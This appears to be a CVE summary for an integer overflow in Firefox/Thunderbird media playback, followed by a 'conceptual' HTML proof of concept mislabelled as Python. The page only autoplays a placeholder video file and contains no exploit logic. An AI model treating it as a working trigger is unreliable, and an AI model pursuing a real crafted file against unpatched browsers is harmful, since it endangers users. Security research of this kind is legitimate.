Incorrect boundary conditions, integer overflow in the Audio/Video: Playback component. This vulnerability was fixed in Firefox 150 and Thunderbird 150.
The following code is for security research and authorized testing only.
python
<!--
Conceptual Proof of Concept (PoC) for CVE-2026-6783
This HTML file attempts to trigger the integer overflow in the Audio/Video component.
Replace 'exploit.mp4' with a specifically crafted media file.
-->
<html>
<head>
<title>PoC CVE-2026-6783</title>
</head>
<body>
<h1>CVE-2026-6783 Integer Overflow PoC</h1>
<p>Attempting to load crafted media file...</p>
<!-- The malformed file triggers the overflow during parsing -->
<video controls autoplay>
<source src="exploit_crafted_av.mp4" type="video/mp4">
</video>
<script>
const video = document.querySelector('video');
video.onerror = function() {
console.log('Error loading video, potential crash or exploit trigger.');
};
// Force playback to ensure parsing logic is executed
video.play().catch(e => console.log('Autoplay blocked:', e));
</script>
</body>
</html>